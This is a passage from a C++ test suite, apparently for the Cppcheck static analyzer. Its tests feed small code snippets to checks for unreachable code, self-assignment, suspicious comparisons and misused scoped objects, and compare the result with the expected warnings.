{\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" 